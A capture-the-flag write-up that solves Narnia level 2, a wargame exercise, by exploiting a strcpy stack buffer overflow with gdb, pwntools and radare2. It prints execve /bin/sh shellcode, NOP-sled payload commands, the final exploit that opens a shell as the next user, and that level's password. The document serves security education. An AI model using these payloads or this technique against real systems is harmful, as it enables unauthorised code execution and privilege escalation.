Writeup

narnia2.c content :

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}

The vulnerability reside on the strcpy function, which doesn’t check the argv[1] length before copying it into the buffer. To exploit the program we can inject the shellcode in the buffer and overwrite the EIP with the shellcode address.

1st GDB Method + PWN Tools –> Return to shellcode in the buffer

To test the vulnerability we can use the De Brujin algorithm to generate a sequence of unique substring of length n with pwn tools :

from pwn import *

print(cyclic(200))

Then we can use gdb to view where the return address point, and if it is not a valid address gdb will stop

narnia2@narnia:/narnia$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Starting program: /narnia/narnia2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x62616169 in ?? ()

Then with pwn tools we can find how many bytes requires our exploit to 'smash' the stack :D .

print (cyclic_find(0x62616169))

and we get :

132

So after 132 we can fill the return address. To test we can load on gdb 132 bytes and then “BBBB” to see if the EIP address is 0x42424242:

(gdb) r $(python -c 'print "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaab" + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaab" + "BBBB"')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Now we can inject to the program :

  • (132-length(shellcode)) N bytes of NOP instructions
  • Shellcode
  • Return address of the shellcode

shellcode :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Shellcode length : 25.

To find where the shellcode’s address is we can use gdb to print the current stack as follow :

(gdb) r $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "BBBB"')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/50x $esp
0xffffd4b8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4c8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4d8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4e8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd4f8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd508:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd518:     0x90909090      0x90909090      0x31909090      0x2f6850c0
0xffffd528:     0x6868732f      0x6e69622f      0x8950e389      0xe18953e2
0xffffd538:     0x80cd0bb0      0x42424242      0x00000000      0xffffd5d4
0xffffd548:     0xffffd5e0      0x00000000      0x00000000      0x00000000
0xffffd558:     0xf7fc5000      0xf7ffdc0c      0xf7ffd000      0x00000000
0xffffd568:     0x00000002      0xf7fc5000      0x00000000      0x4f8b7427
0xffffd578:     0x75657837      0x00000000

And we can see that in 0xfffd510 there is our shellcode code. Because of the NOP we can set as return address 0xffffd4f8

narnia2@narnia:/narnia$ ../narnia2 $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xf8\xd4\xff\xff"')
Segmentation fault

Why? Because the leave instruction in assembly does :

mov  esp,ebp
pop ebp

So the stack pointer esp will point to ebp. When the shellcode will be executed it will push on the stack the arguments that will overwrite the shellcode instructions. To make the exploit work we need to write the shellcode earlier in the buffer and we put a padding of 16 bytes before the return address ( because the shellcode does 4 push) .

narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "\x90" * 91 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "B"*16 + "\xf8\xd4\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
vaequeezee

The exploit will work even if we change the address from xffffd4f8 to 0xffffd4b8 because the NOP (\x90) instruction are used to “slide” the CPU until it find executable code ;) .

2nd Method Radare2 + ragg2 –> return to argv[1]

narnia2@narnia:/narnia$ r2 -d narnia2 $(ragg2 -P 200 -r)
Process with PID 27403 started...
= attach 27403 27403
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
 -- EIP = 0x41414141
[0xf7fd9a20]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 27403 27403
27403
[0xf7fd9a20]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x74414173 code=1 ret=0
[0x74414173]> wopO `dr eip`
132
[0x74414173]> wopO `dr ebp`
128

With ragg2 we generate De Brujin series, and with wopO dr eip we see how many bytes we need to fill the return address. To see if 132 + 4 bytes the EIP is overwritten we can do as we did on GDB .

narnia2@narnia:/narnia$ r2 -d narnia2 $(python -c 'print "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAA" + "BBBB"')
Process with PID 27751 started...
= attach 27751 27751
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
 -- Command layout is: <repeat><command><bytes>@<offset>.  For example: 3x20@0x33 will show 3 hexdumps of 20 bytes at 0x33
[0xf7fd9a20]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
= attach 27751 27751
27751
[x] Use -AA or aaaa to perform additional experimental analysis.
[0xf7fd9a20]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 ret=0
[0x42424242]> dr ebp
0x41417241

Then to find where the shellcode start

narnia2@narnia:/narnia$ r2 -d narnia2 $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "BBBB"')
Process with PID 21872 started...
= attach 21872 21872
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
 -- We are surrounded by the enemy. - Excellent, we can attack in any direction!
[0xf7fd9a20]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 21872 21872
21872
[0xf7fd9a20]> afl
0x080482cc    3 35           sym._init
0x08048300    1 6            sym.imp.printf
0x08048310    1 6            sym.imp.strcpy
0x08048320    1 6            sym.imp.exit
0x08048330    1 6            sym.imp.__libc_start_main
0x08048340    1 6            sub.__gmon_start_340
0x08048350    1 33           entry0
0x08048380    1 4            sym.__x86.get_pc_thunk.bx
0x08048390    4 43           sym.deregister_tm_clones
0x080483c0    4 53           sym.register_tm_clones
0x08048400    3 30           sym.__do_global_dtors_aux
0x08048420    4 43   -> 40   entry1.init
0x0804844b    3 83           sym.main
0x080484a0    4 93           sym.__libc_csu_init
0x08048500    1 2            sym.__libc_csu_fini
0x08048504    1 20           sym._fini
[0xf7fd9a20]> s main
[0x0804844b]> pdf
            ;-- main:
/ (fcn) sym.main 83
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_80h @ ebp-0x80
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; DATA XREF from entry0 (0x8048367)
|           0x0804844b      55             push ebp
|           0x0804844c      89e5           mov ebp, esp
|           0x0804844e      83c480         add esp, 0xffffffffffffff80
|           0x08048451      837d0801       cmp dword [arg_8h], 1       ; [0x1:4]=-1 ; 1
|       ,=< 0x08048455      751a           jne 0x8048471
|       |   0x08048457      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|       |   0x0804845a      8b00           mov eax, dword [eax]
|       |   0x0804845c      50             push eax
|       |   0x0804845d      6820850408     push str.Usage:__s_argument ; 0x8048520 ; "Usage: %s argument\n"
|       |   0x08048462      e899feffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x08048467      83c408         add esp, 8
|       |   0x0804846a      6a01           push 1                      ; 1
|       |   0x0804846c      e8affeffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x08048471      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12
|           0x08048474      83c004         add eax, 4
|           0x08048477      8b00           mov eax, dword [eax]
|           0x08048479      50             push eax
|           0x0804847a      8d4580         lea eax, [local_80h]
|           0x0804847d      50             push eax
|           0x0804847e      e88dfeffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
|           0x08048483      83c408         add esp, 8
|           0x08048486      8d4580         lea eax, [local_80h]
|           0x08048489      50             push eax
|           0x0804848a      6834850408     push 0x8048534
|           0x0804848f      e86cfeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048494      83c408         add esp, 8
|           0x08048497      b800000000     mov eax, 0
|           0x0804849c      c9             leave
\           0x0804849d      c3             ret
[0x0804844b]> db 0x08048486
[0x0804844b]> dc
hit breakpoint at: 8048486
[0x0804844b]> pxw 800@esp
0xffffd4c8  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd4d8  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd4e8  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd4f8  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd508  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd518  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd528  0x90909090 0x90909090 0x31909090 0x2f6850c0  ...........1.Ph/
0xffffd538  0x6868732f 0x6e69622f 0x8950e389 0xe18953e2  /shh/bin..P..S..
0xffffd548  0x80cd0bb0 0x42424242 0x00000000 0xffffd5e4  ....BBBB........
0xffffd558  0xffffd5f0 0x00000000 0x00000000 0x00000000  ................
0xffffd568  0xf7fc5000 0xf7ffdc0c 0xf7ffd000 0x00000000  .P..............
0xffffd578  0x00000002 0xf7fc5000 0x00000000 0xbc8e76ba  .....P.......v..
0xffffd588  0x86605aaa 0x00000000 0x00000000 0x00000000  .Z`.............
0xffffd598  0x00000002 0x08048350 0x00000000 0xf7fee710  ....P...........
0xffffd5a8  0xf7e2a199 0xf7ffd000 0x00000002 0x08048350  ............P...
0xffffd5b8  0x00000000 0x08048371 0x0804844b 0x00000002  ....q...K.......
0xffffd5c8  0xffffd5e4 0x080484a0 0x08048500 0xf7fe9070  ............p...
0xffffd5d8  0xffffd5dc 0xf7ffd920 0x00000002 0xffffd722  .... ......."...
0xffffd5e8  0xffffd72c 0x00000000 0xffffd7b5 0xffffd7c8  ,...............
0xffffd5f8  0xffffdd84 0xffffdd9f 0xffffddd4 0xffffdde9  ................
0xffffd608  0xffffde01 0xffffde12 0xffffde26 0xffffde33  ........&...3...
0xffffd618  0xffffde3f 0xffffde52 0xffffde67 0xffffde89  ?...R...g.......
0xffffd628  0xffffdea0 0xffffdeb7 0xffffdeca 0xffffdee1  ................
0xffffd638  0xffffdef5 0xffffdf05 0xffffdf10 0xffffdf18  ................
0xffffd648  0xffffdf31 0xffffdf41 0xffffdfad 0xffffdfcb  1...A...........
0xffffd658  0xffffdfe0 0x00000000 0x00000020 0xf7fd7c90  ........ ....|..
0xffffd668  0x00000021 0xf7fd7000 0x00000010 0x178bfbff  !....p..........
0xffffd678  0x00000006 0x00001000 0x00000011 0x00000064  ............d...
0xffffd688  0x00000003 0x08048034 0x00000004 0x00000020  ....4....... ...
0xffffd698  0x00000005 0x00000008 0x00000007 0xf7fd9000  ................
0xffffd6a8  0x00000008 0x00000000 0x00000009 0x08048350  ............P...
0xffffd6b8  0x0000000b 0x000036b2 0x0000000c 0x000036b2  .....6.......6..
0xffffd6c8  0x0000000d 0x000036b2 0x0000000e 0x000036b2  .....6.......6..
0xffffd6d8  0x00000017 0x00000001 0x00000019 0xffffd70b  ................
0xffffd6e8  0x0000001a 0x00000000 0x0000001f 0xffffdfee  ................
0xffffd6f8  0x0000000f 0xffffd71b 0x00000000 0x00000000  ................
0xffffd708  0xe0000000 0x6bd3025e 0x48a2a192 0x36f6f390  ....^..k...H...6
0xffffd718  0x6991f660 0x00363836 0x2f2e0000 0x6e72616e  `..i686..../narn
0xffffd728  0x00326169 0x90909090 0x90909090 0x90909090  ia2.............
0xffffd738  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd748  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd758  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd768  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd778  0x90909090 0x90909090 0x90909090 0x90909090  ................
0xffffd788  0x90909090 0x90909090 0x90909090 0x31909090  ...............1
0xffffd798  0x2f6850c0 0x6868732f 0x6e69622f 0x8950e389  .Ph//shh/bin..P.
0xffffd7a8  0xe18953e2 0x80cd0bb0 0x42424242 0x5f434c00  .S......BBBB.LC_
0xffffd7b8  0x3d4c4c41 0x555f6e65 0x54552e53 0x00382d46  ALL=en_US.UTF-8.
0xffffd7c8  0x435f534c 0x524f4c4f 0x73723d53 0x643a303d  LS_COLORS=rs=0:d
0xffffd7d8  0x31303d69 0x3a34333b 0x303d6e6c 0x36333b31  i=01;34:ln=01;36
[0x0804844b]>

Now we can see that our shellcode in the argv[1] is around 0xffffd778 (Counting the NOP sled). If we overwrite the return address with 0xffffd778 we will have no problem that our shellcode will ovewrite itself (as the 1st method).

narnia2@narnia:/narnia$ ./narnia2 $(python -c 'import struct;print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + struct.pack("I" ,0xffffd778)')
$ whoami
narnia3
$

Flag:

vaequeezee